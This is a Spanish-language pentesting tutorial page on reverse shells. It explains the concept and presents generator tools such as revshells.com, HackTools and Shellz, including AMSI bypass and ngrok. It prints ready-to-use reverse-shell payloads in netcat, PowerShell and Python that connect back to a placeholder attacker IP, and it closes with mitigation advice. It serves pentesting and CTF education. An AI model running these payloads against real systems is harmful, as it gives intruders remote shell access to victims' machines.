GhostAcademy logo GhostAcademy
🔴 Pentesting · Post-exploitation · CTF
Reverse Shell
// bind shell · netcat · payloads · revshells.com · HackTools · Shellz

Una reverse shell hace que la víctima inicie la conexión de salida hacia el atacante, resolviendo los obstáculos de firewall y NAT. Guía completa de conceptos, payloads y herramientas generadoras.

nc -lvp 4444 · Netcat listener Bash · Python · PowerShell · PHP payloads revshells.com · tex2e generator HackTools · Firefox extension Shellz · ngrok · AMSI bypass
Conceptos
¿Qué es una Reverse Shell?
Herramienta
revshells.com
Herramienta
tex2e generator
Extensión
HackTools Firefox
Script
Shellz (4ndr34z)
🧠
¿Qué es una Reverse Shell?
Conexión iniciada por la víctima hacia el atacante para evadir firewalls y NAT

En una bind shell convencional, el atacante se conecta a un puerto abierto en la máquina víctima. Pero si la víctima está detrás de un firewall, NAT o no tiene puertos expuestos, esto puede ser imposible.

La reverse shell resuelve esto haciendo que la víctima inicie la conexión de salida hacia el atacante, quien está escuchando en su máquina. Como las conexiones salientes suelen estar permitidas por el firewall, este método tiene más éxito.

🔄
Flujo de Ataque
Cuatro pasos desde el listener hasta la shell remota
Atacante
nc -lvp 4444
←←←←←←←←←←←
Víctima
Reverse Shell script
(escuchando)
(conectando)
↑ Shell Remota establecida
1
El atacante configura su equipo para escuchar conexiones entrantes — por ejemplo con nc -lvp 4444.
2
El atacante ejecuta (o consigue que se ejecute) un payload de reverse shell en la máquina víctima.
3
El payload hace que la víctima se conecte de vuelta al atacante y redirija su consola a través de esa conexión.
4
El atacante obtiene acceso a una shell remota (bash, cmd, PowerShell) de la máquina víctima.
🧱
Tipos de Payload
Los atacantes usan diferentes lenguajes y herramientas según el entorno objetivo
Netcat (nc)
Utilidad de red versátil para crear una reverse shell básica. El atacante configura un listener y la víctima se conecta.
Linux · Windows
Bash
Shell inversa simple con Bash mediante un comando de una línea. Disponible en sistemas Unix/Linux.
Linux · macOS
Python
Script corto que abre una conexión de red y redirige stdin/stdout/stderr al socket.
Multiplataforma
PowerShell
Shell de línea de comandos de Windows con soporte para scripts. Muy utilizado en entornos Windows corporativos.
Windows
PHP
Scripts inyectados en aplicaciones web vulnerables para establecer una conexión de shell inversa.
Web servers
Ruby / Java / C
Alternativas en lenguajes de propósito general o de bajo nivel para evadir antivirus e IDS.
Evasión AV
Metasploit
Framework de pentesting con payloads de reverse shell preconstruidos para múltiples plataformas y escenarios.
Framework completo
Meterpreter
Shell avanzada de Metasploit con capacidades integradas: upload/download, keylogger, pivoting.
Avanzado
C2 Frameworks
Cobalt Strike, Sliver, Empire — frameworks de Command & Control para operaciones APT.
Red Team
🛠️
Ejemplos de Código
Payloads listos para usar en distintos lenguajes y sistemas operativos

Netcat — Linux o Windows

bash — desde la víctima
# Desde la víctima (conecta al atacante)
nc <IP_DEL_ATACANTE> 4444 -e /bin/bash

# Desde el atacante (listener)
nc -lvp 4444
⚠️ Algunos netcat no soportan -e. En ese caso usar ncat o scripts alternativos.

PowerShell — Windows

powershell — payload completo
$client = New-Object System.Net.Sockets.TCPClient("IP_DEL_ATACANTE",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String);
  $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
}
$client.Close()

Python

python — rev.py
import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP_DEL_ATACANTE",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
💡 Guarda el script como rev.py y ejecútalo en la máquina víctima: python3 rev.py
⚔️
Usos en Seguridad Informática
Contextos legítimos donde las reverse shells son fundamentales
  • Pruebas de penetración: verificar si un sistema puede ser comprometido tras la ejecución de código malicioso.
  • CTFs (Capture The Flag): retos en los que se gana una shell en la máquina remota como objetivo del reto.
  • Persistencia: un atacante puede usar una reverse shell para mantener acceso prolongado a un sistema comprometido.
  • Pivoting: conectarse a máquinas intermedias en una red interna desde el punto de entrada inicial.
🧱
Limitaciones y Riesgos
  • Visibilidad en la red: puede ser detectada por IDS/IPS si no está cifrada.
  • No persistente: si la conexión se cae, se pierde el acceso (a menos que se use un mecanismo de persistencia).
  • Limitado por AV/firewalls: los antivirus pueden detectar patrones comunes como nc.exe o bash -i.
🔐
Alternativas Más Avanzadas
  • Reverse Shell sobre HTTPS o DNS para evadir firewalls que bloquean puertos no estándar.
  • Meterpreter (Metasploit): shell avanzada con capacidades integradas de post-explotación.
  • C2 Frameworks como Cobalt Strike o Sliver para operaciones de Red Team persistentes y sigilosas.
TOOL 01
revshells.com
Generador online de reverse shells y bind shells para pentesting y CTFs. Soporta MSFVenom, múltiples lenguajes, codificaciones y modo Raw para curl.
Características: URL Encode, Base64, doble URL · modos: oscuro, claro, meme mode
🔗 revshells.com

Proporciona la IP del listener (atacante) y el puerto de escucha — se genera automáticamente el comando del listener y el payload de reverse shell. Ejecuta el payload en la víctima y el listener en el atacante.

revshells.com — interfaz principal con IP/puerto y payload generado

// revshells.com — interfaz principal con IP/puerto y payload generado

revshells.com — opciones de listener: powercat, busybox nc, socat, netcat · múltiples OS

// revshells.com — opciones de listener: powercat, busybox nc, socat, netcat · múltiples OS

revshells.com — HoaxShell: payload PowerShell para Windows

// revshells.com — HoaxShell: payload PowerShell para Windows

TOOL 02
tex2e Reverse Shell Generator
Herramienta web open-source que genera payloads con solo introducir LHOST y LPORT. Devuelve comandos listos para múltiples OS y entornos.
🔗 tex2e.github.io/reverse-shell-generator

Accede al sitio → clic en 'RevShell' en la barra de menú → introduce LHOST y LPORT → clic en 'Enviar'. Genera el listener y múltiples comandos de reverse shell para distintos sistemas operativos.

tex2e generator — LHOST/LPORT y payloads generados para múltiples SO

// tex2e generator — LHOST/LPORT y payloads generados para múltiples SO

TOOL 03
HackTools — Extensión para Firefox
Extensión de navegador todo en uno para pruebas de penetración web. Disponible como popup o integrada en DevTools (F12). Centraliza todas las herramientas frecuentes en un solo lugar.
🔗 addons.mozilla.org — HackTools
ElementoValor
TipoExtensión Firefox para pruebas de seguridad web
¿Qué incluye?Reverse shells, payloads XSS/SQLi/LFI, codificadores Base64, generador de hashes, comandos Linux, feeds CVE/ExploitDB
Modo de usoPopup o panel DevTools (F12)
Ventaja principalCentraliza herramientas frecuentes de pentesting — sin buscar en múltiples sitios
Utilidad en CTFMuy alta — agiliza pruebas sobre objetivos web

Funcionalidades principales: generador dinámico de reverse shells (PHP, Bash, Python, Ruby, Perl, Netcat), TTY Shell Spawning, XSS/SQLi/LFI payloads, codificadores Base64, hashes MD5/SHA1/SHA256/SHA512/SM3, port-forwarding SUID, feeds ExploitDB y CVE.

HackTools — extensión instalada en Firefox

// HackTools — extensión instalada en Firefox

HackTools — generador de Reverse Shell con LHOST/LPORT y tipo de shell

// HackTools — generador de Reverse Shell con LHOST/LPORT y tipo de shell

HackTools — PHP Reverse Shell generator

// HackTools — PHP Reverse Shell generator

TOOL 04
Shellz — 4ndr34z/shells
Script especializado para generar reverse shells de forma interactiva. Soporta PowerShell con AMSI bypass, Python, integración con ngrok y Updog. Disponible en BlackArch como shellz.
🔗 github.com/4ndr34z/shells
bash — instalación
# Desde GitHub
git clone https://github.com/4ndr34z/shells
cd shells
./install.sh

# O desde BlackArch
pacman -S shellz
Dependencias requeridas: netcat, rlwrap, jq, basenc (coreutils). Opcionales: updog, ngrok, xclip.

Flujo de uso interactivo

1
Instalar y ejecutar
Clonar el repo, ejecutar ./install.sh y lanzar la herramienta.
2
Elegir tipo de shell
Seleccionar el tipo de reverse shell deseado (ej. opción 3 = Bash).
3
Configurar IP y puerto
Introducir LHOST y LPORT, y elegir el tipo de IP (local, ngrok, etc.).
4
Elegir codificación
Opción 1 para sin codificar, o elegir Base64/URL encode para evasión.
5
Generar payload y listener
La herramienta genera el payload y pregunta el tipo de listener (netcat = 1). Puede abrir en nueva ventana de terminal.
BeneficioDescripción
RapidezGenera reverse shells configuradas y funcionales en segundos.
VersatilidadCompatible con múltiples entornos: Windows, Linux, sin Python.
AutomatizaciónPayloads avanzados con AMSI bypass, Updog y ngrok integrados.
CTF-readyMuy utilizado cuando el tiempo es crítico en retos de CTF.
Shellz — instalación y arranque desde GitHub

// Shellz — instalación y arranque desde GitHub

Shellz — selección del tipo de shell (opción 3 = Bash)

// Shellz — selección del tipo de shell (opción 3 = Bash)

Shellz — configuración del tipo de IP (local/ngrok)

// Shellz — configuración del tipo de IP (local/ngrok)

Shellz — elegir codificación del payload (opción 1 = sin codificar)

// Shellz — elegir codificación del payload (opción 1 = sin codificar)

Shellz — payload generado + selección de listener (netcat = 1)

// Shellz — payload generado + selección de listener (netcat = 1)

Shellz — sesión reverse shell establecida con éxito

// Shellz — sesión reverse shell establecida con éxito

Resultados de búsqueda de generadores de reverse shell disponibles en internet

// Resultados de búsqueda de generadores de reverse shell disponibles en internet

DEFENSA
Mitigación — ¿Cómo Protegerse?
Medidas de seguridad para detectar y bloquear reverse shells antes de que se establezcan.
🔒
Restringir conexiones salientes — whitelisting de IPs y puertos permitidos en el firewall de salida.
👁️
Detectar tráfico sospechoso saliente — monitorizar conexiones a IPs externas desconocidas desde servidores internos.
🖥️
Monitorizar procesos y uso anómalo de shells — alertar si un proceso como httpd o php lanza un proceso hijo bash o sh.
🚫
Bloquear herramientas innecesarias — eliminar o restringir Netcat, PowerShell, Python en sistemas que no los necesiten.
🛡️
Principio de mínimo privilegio — los procesos de aplicaciones web no deben poder ejecutar comandos del sistema.
🔄
Actualizaciones periódicas — mantener el software actualizado para eliminar las vulnerabilidades que permiten la ejecución inicial del payload.
🔍
IDS/IPS activos — sistemas como Snort o Suricata con reglas para detectar patrones de reverse shells comunes.